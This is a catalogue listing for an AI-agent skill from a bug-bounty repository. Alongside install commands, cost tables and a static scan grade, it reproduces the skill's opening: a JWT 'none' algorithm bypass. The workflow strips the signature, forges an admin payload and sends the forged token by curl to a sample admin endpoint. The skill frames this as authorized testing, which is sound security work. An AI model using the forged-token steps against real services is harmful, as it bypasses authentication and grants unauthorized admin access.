Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/jwt-null-signatureWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-null-signature)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-null-signature"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jwt-null-signature/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/jwt-null-signature"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/jwt-null-signature.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.01258 |
| Opus 5 | $0.00030 | $0.00629 |
| Sonnet 5 | $0.00012 | $0.00252 |
| Haiku 4.5 | $0.00006 | $0.00126 |
Grade A, and why
jwt-null-signature scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Send the request with the new token via Burp Suite or curl. Copies of this mod
1 near-identical copy found in the catalogue:
- jwt-null-signature — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 140 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JWT 'None' Algorithm Bypass
When to Use
- When assessing web applications or microservices that utilize JWTs for authentication and authorization.
- Specifically during the initial phases of analyzing a JWT implementation to check for fundamental configuration flaws in token verification.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Capture and Decode the Token
Intercept a valid request containing your JWT (usually in the Authorization: Bearer <token> header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: Header.Payload.Signature.
# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}
Phase 2: Modify Header to 'None' Algorithm
Change the alg value in the header. Servers might accept variations of the string "none".
// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"
Re-encode this modified header to Base64-URL format (ensure no padding =).
Phase 3: Modify Payload (Elevation of Privilege)
Modify the payload to elevate privileges or impersonate another user.
// {"sub": "admin", "iat": 1516239022, "admin": true}
Re-encode the modified payload to Base64-URL format.
Phase 4: Construct and Send the Forged Token
Combine the new header and payload, appending a trailing dot, but remove the signature completely.
# [Base64_Header_None].[Base64_Payload_Admin].
Send the request with the new token via Burp Suite or curl.
# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 140 lines · 60 tokens per session scan A 2c37bf6c1360
jwt-null-signature is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 60 tokens to every session and 1,258 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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